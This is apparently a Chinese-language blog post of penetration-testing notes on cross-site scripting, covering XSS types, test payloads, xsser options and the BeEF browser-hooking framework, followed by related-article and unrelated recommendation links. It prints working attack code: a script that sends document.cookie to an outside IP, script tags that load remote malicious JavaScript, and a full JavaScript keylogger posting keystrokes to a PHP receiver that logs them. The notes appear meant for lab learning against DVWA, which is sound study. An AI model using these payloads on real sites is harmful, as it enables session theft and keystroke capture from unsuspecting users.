XSS(厉害程度:只要js能实现什么功能,xss就能对client造成什么伤害):

 

原理:通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端的攻击目的

主要攻击目的(网页挂马:通过XSS向前端页面插入一个包含恶意js的链接,client访问这个页面时就同时请求执行了该恶意js,这个恶意js就是网页木马):

1、盗取cookie(收集存在XSS漏洞网站用户的cookie)

2、重定向(访问真实页面时直接跳转到博彩页面或者钓鱼网站)

3、DDOS第三方(把需要大量算力的URL贴在存在XSS漏洞的网站上,这样访问该网站的用户就都会去请求那个需要大量算力的URL,进而对该URL服务器进行CC攻击)

分类:

1、存储型(持久型)  ===> 将js脚本上传至server,其他用户访问server时都会加载这个js,e.g: 论坛发帖,server没有对帖子内容进行过滤,导致上传了一段js脚本

2、反射型(非持久)(发给目标什么东西就必须返回什么东西,不能有变化)  ===> client将恶意js发给server(client可将js包含在get请求头中),server再将这个js返回给client,client就能在浏览器里运行这个js了  ===> 通过社工方式将带有js脚本的链接发送给受害者,e.g: http://1.1.1.1/id=js脚本

3、DOM型(本质上也是一种反射型)   ===> 不必将js上传至server就能在client执行

POC验证原理:

向所有变量注入js代码进行测试

测试语句(Poc):

<script>alert('xss')</script>   ===> js弹窗

<a href=http://192.168.1.1>click</a>   ===> html超链接

<script>window.location='http://www.baidu.com'</script>   ===> 重定向至百度

<script>new Image().src="http://172.20.163.101/admin.php?output="+document.cookie;</script>   ===> 将cookie发送至172.20.163.101

<script src=http://172.20.163.101/a.js></script>  ===> 自动请求http://172.20.163.101/a.js,可以在http://172.20.163.101/a.js存放真正的恶意js脚本

网页挂马实现举例(键盘记录功能):

原理:

1、通过xss将网页木马文件链接上传至漏洞服务器  <script src=http://172.20.163.101/a.js></script>

2、client访问该服务器时将请求并执行http://172.20.163.101/a.js

3、a.js将client的键盘记录发送至指定服务器   ("POST","http://172.20.163.101/keylogger.php",true)

键盘记录器(js代码):

document.onkeypress = function(evt) {

evt = evt || window.event

key = String.fromCharCode(evt.charCode)

if (key) {

var http = new XMLHttpRequest();

var param = encodeURI(key)

http.open("POST","http://172.20.163.101/keylogger.php",true);   =====> 将记录到的结果发送到http://172.20.163.101/keylogger.php

http.setRequestHeader("Content-type","application/x-www-form-urlencoded");

http.send("key="+param);

}

}

密码接收器(php代码,注意:此代码只能记录当前页面的键盘记录,不能记录其他网站页面的键盘记录):

<?php

$key=$_POST['key'];

$logfile="keylog.txt";      ======> 将接收到的结果存在keylog.txt文件内

$fp = fopen($logfile, "a");

fwrite($fp, $key);

fclose($fp);

?>

Xsser(XSS漏洞检测工具):

xsser --gtk   ===> 图形化界面打开方式

xsser使用举例: xsser -u "http://172.20.163.115/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=34554fae634cb96063453427536bda0b" -s -v --reverse-check

-u 待检测url(注意:只写到倒数第二级目录)

-g 使用GET方法,使用POST方法时可换用'-p'参数。后跟要检测的变量名称(注意要带上变量上一级目录)

--cookie cookie信息

-s 显示总共发送了多少次探测payload

-v 显示详细信息

--reverse-check:如果不加这个参数xsser会只发送一个hash值给服务器,看是否能将该hash原封不动的返回回来。但是这样可能会有一个问题:服务器没有过滤hash值,但过滤了html(js)代码,造成了xsser显示有xss漏洞,但是不能真正利用。加这个参数后xsser会再发送一个真正的js脚本来检测(发送的js脚本功能为主动连接自己某个端口,如果xsser发现将js发送过去后它又来连接自己制定端口了就说明对方存在xss漏洞)。

--heuristic 检查被过滤的字符(有些安全设备可能会过滤掉一些特定字符,利用此参数可以查看安全设备过滤掉了哪些字符)(原理:按个儿发送单个可能被过滤的字符,看是否有返回这个字符)

以下参数为对提交的数据进行编码

--Str               Use method String.FromCharCode()

--Une               Use Unescape() function

--Mix               Mix String.FromCharCode() and Unescape()

--Dec               Use Decimal encoding

--Hex               Use Hexadecimal encoding

--Hes               Use Hexadecimal encoding with semicolons

--Dwo               Encode IP addresses with DWORD

--Doo               Encode IP addresses with Octal

--Cem=CEM           Set different 'Character Encoding Mutations'

(reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

除指定变量外再对一些特殊的地方注入:

--Coo               对COOKIE进行xss注入检测

--Xsa               对user-agent进行xss注入检测

--Xsr               对Referer进行xss注入检测

--Dcp               对数据控制协议进行xss注入检测

--Dom               对DOM型进行xss注入检测

--Ind               IND - HTTP Response Splitting Induced code

--Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)

 

beef(可以操纵用户的浏览器):

利用XSS漏洞或者中间人劫持将特定js(<script src="http://<beef服务器的IP>:3000/hook.js"></script>)插入网页,这个js将控制客户端浏览器并返连至beef服务器。

换句话说:<script src="http://<beef服务器的IP>:3000/hook.js"></script> 就是一个js木马,beef服务器就是木马的server端。

菜单详解:

Details: 浏览器、插件版本信息;操作系统信息

Logs:记录浏览器的动作,比如焦点变化、鼠标点击、信息输入等

Commands:命令模块

绿色模块:表示模块适合目标浏览器,并且执行结果对客户端不可见

红色模块:表示模块不适用于当前用户,有些红色模块也可正常执行

橙色模块:模块可用,但结果对用户可见(CAM弹窗申请权限等)

灰色模块:模块未在目标浏览器上测试过

XSS原理及其相应工具使用的更多相关文章

  1. 1. xss原理分析与剖析(1)

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  2. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  3. XSS漏洞自动化攻击工具XSSer

    XSS漏洞自动化攻击工具XSSer   XSS是Web应用常见的漏洞.利用该漏洞,安全人员在网站注入恶意脚本,控制用户浏览器,并发起其他渗透操作.XSSer是Kali Linux提供的一款自动化XSS ...

  4. 浅谈xss原理

    近日,论坛上面XSS满天飞,各处都能够见到XSS的痕迹,前段时间论坛上面也出现了XSS的迹象.然后我等小菜不是太懂啊,怎么办?没办法仅仅有求助度娘跟谷歌这对情侣了. 能够说小菜也算懂了一些.不敢藏私, ...

  5. xss原理绕过防御个人总结

    xss原理 xss产生的原因是将恶意的html脚本代码插入web页面,底层原理和sql注入一样,都是因为js和php等都是解释性语言,会将输入的当做命令执行,所以可以注入恶意代码执行我们想要的内容 x ...

  6. XSS原理

    跨站脚本攻击(Cross-Site Scripting),是一种网站应用程序的安全漏洞,是代码注入攻击的一种.   XSS的种类:   反射型XSS: 非持久型XSS(需要自行触发,输入-输出).  ...

  7. 1.1 xss原理分析与剖析(2)

    0×01 反射型XSS: 反射XSS是XSS分类中最多的,他们原理是下面这样: Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码.缩短(可有可无,是为了增加迷惑 ...

  8. 1.2 xss原理分析与剖析(3)

    0×01 第三方劫持 (外调J/C): 本方法是我看长短短贴代码时知晓的,这篇文章我只是把这个攻击手法整理了出来,来说明这个漏洞,这个攻击手法并不是我发现的,我也不是太清楚是谁.“第三方劫持”就是把资 ...

  9. XSS原理及代码分析

    前言 XSS又叫跨站脚本攻击,是一种对网站应用程序的安全漏洞攻击技术.它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响.XSS分为三种:反射型,存储型,和DOM型.下面我会构造有缺陷的代 ...

随机推荐

  1. 【高可用架构】用Nginx实现负载均衡(三)

    前言 在上一篇,已经用Envoy工具统一发布了Deploy项目代码.本篇我们来看看如何用nginx实现负载均衡 负载均衡器IP 192.168.10.11 [高可用架构]系列链接:待部署的架构介绍 演 ...

  2. JS---封装缓动(变速)动画函数---增加任意多个属性&增加回调函数

    封装缓动(变速)动画函数---增加任意多个属性&增加回调函数 回掉函数fn,在所有元素到达目的位置后,判断是否传入一个函数,有就调用 if(fn){fn()}; 这样一次点击,产生多个动画 & ...

  3. 关于选用ccflow你所担心的问题都在这里为您解答

    致ccflow客户 感谢大家ccbpm的认可,我们会一如既往的以踏实的技术来回应大家的支持. 针对大家疑问最多的几个问题,在这里我我为大家一一解答. 代码一直在更新,不稳定问题 版本控制我们做的差,是 ...

  4. iOS Privacy Policy

    This application respects and protects the privacy of all users who use the service. In order to pro ...

  5. Windows系统下解决PhPStudy MySQL启动失败

    报错 Apache\Nginx服务正常启动了,但是MySQL却一直启动失败. 解决流程 查看端口是否被占用 打开系统自带的资源管理器,查看监听端口3306是不是被占用,下图中3306端口被mysqld ...

  6. centos7下MySQL5.7修改默存储路径

    安装MySQL中YUM默认安装路径是/var/lib/mysql下,有时候该目录分配的磁盘空间并不大,需要迁移到新的磁盘目录 df  -h 查看磁盘空间大小 本次迁移到 /home目录下 1.在hom ...

  7. 写完代码就去吃饺子|The 10th Henan Polytechnic University Programming Contest

    河南理工大学第十届校赛 很久没有组队打比赛了,好吧应该说很久没有写题了, 三个人一起玩果然比一个人玩有趣多了... 前100分钟过了4题,中途挂机100分钟也不知道什么原因,可能是因为到饭点太饿了?, ...

  8. RBAC-权限管理设计

    1.RBAC(Role-Based Access Control)——基于角色的访问控制.简单来说每个角色有不同的权限,通过对用户赋予不同角色来赋予其对应权限. 2.RBAC0:最基本的用户角色多对多 ...

  9. idea常用快捷键大全

    Idea常用快捷键大全,拿小本本记下来,忘记了可以方便查找. 编写代码 Ctrl+Shift + Enter,语句完成. “!”,否定完成,输入表达式时按 “!”键. Ctrl+E,最近的文件. Ct ...

  10. Create a Report in Visual Studio 在Visual Studio中创建报表

    In this lesson, you will learn how to create reports in the integrated reporting system. This system ...